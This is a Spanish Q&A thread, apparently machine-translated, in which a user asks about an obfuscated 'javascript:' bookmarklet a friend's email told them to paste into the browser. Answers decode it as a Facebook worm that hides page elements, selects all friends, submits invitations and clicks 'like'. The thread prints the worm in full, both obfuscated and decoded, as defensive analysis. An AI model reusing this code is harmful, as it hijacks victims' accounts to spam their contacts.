2010-05-24 18 views
7

Ok alguien que es un buen amigo mío me está enviando algunos correos electrónicos impares últimamente uno de los cuales era un enlace a una página que le pide que copie y pegue esto en su barra de direcciones en su navegador y luego ejecutarlo ...¿Qué hace este código

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

al no ser totalmente con ella cuando se trata de la programación de bajo nivel que estoy curioso en cuanto a lo que el correo electrónico está pidiendo aquí ...

pOR FAVOR NO ejecutar este CÓDIGO A MENOS QUE SEA FELIZ DE QUE NO ROMPIRÁ NADA.

Pero ... ¿Podría alguien decirme qué hace?

+0

Solo una variante de este gusano: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

Respuesta

11

No he decodificado por completo el código, pero aquí hay un par de consejos para ello.

La variable _0xc100 define una matriz de cadenas. El carácter está codificado como hexadecimal, por lo que es más difícil de leer. Entonces, por ejemplo, \ x76 es igual a "v".

Puede con seguridad alert(_0xc100); verlo en texto sin formato.

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

se traduce en una matriz que contiene estas palabras clave

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

Ahora, las siguientes declaraciones (NO ejecutar esas) utiliza estas palabras clave para ejecutar funciones realidad.

Por ejemplo:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

es equivalente a (d se define como document y mw se define en la parte superior)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

que oculta un elemento llamado app125879300771588_mwrapper

la siguiente las instrucciones dan

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

que copia el contenido del app125879300771588_jop en app125879300771588_jode

y

document.getElementById("suggest").click(); 

que supongo que algunos clics botón "sugieren".

Por último, se establece 3 funciones setTimeout, para ejecutar comandos 3 después de 5 segundos (el 5000)

Traducen a

setTimeout(function() { 
    select_all(); 
    }, 5000); 

que yo supongo que selecciona todos tus amigos ...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

... envían los invita

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 

... y presiona un botón similar

Tenga en cuenta que no uso Facebook, y no sé los pormenores de esto, pero creo que está bastante claro que este código es malicioso.

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

Esto es muy probablemente una adaptación de uno de muchos gusanos de Facebook que se envía a todos sus amigos.

Looke here por una pregunta similar.

Otras versiones de este p.a.c.k.e.r utilizan para confundir, y estos podrían ser fácilmente deobfuscated ejecutando el código p.a.c.k.e.r través http://jsbeautifier.org/

4

Es una obfuscatedbookmarklet. Puede desenfiltrarlo (cuidadosamente) para ver el Javascript real que se ejecutará. Sin embargo, si no tienes una gran necesidad, probablemente no valga la pena molestarte. Lo cerré y compruebo con mi amigo si realmente proviene de él/ella, y si es así, por qué.

+0

Tuve un amigo que lo revise (y lo ejecute en una máquina que no utilizamos) cuidado) Resulta que es simplemente un enlace a esto: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War

+0

Estoy familiarizado con la obstrucción ... ¿Qué herramientas puedo usar para hacer este tipo de cosas ...? Sería para algunos juegos/desafíos interesantes. – War

+1

* "Tuve un amigo ... lo ejecuté en una máquina que no nos importó ... Resulta que es simplemente un enlace a ..." * ¿En serio? Porque esa referencia a 'SocialGraphManager' me parece bastante sospechosa. Consulte: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

Cuestiones relacionadas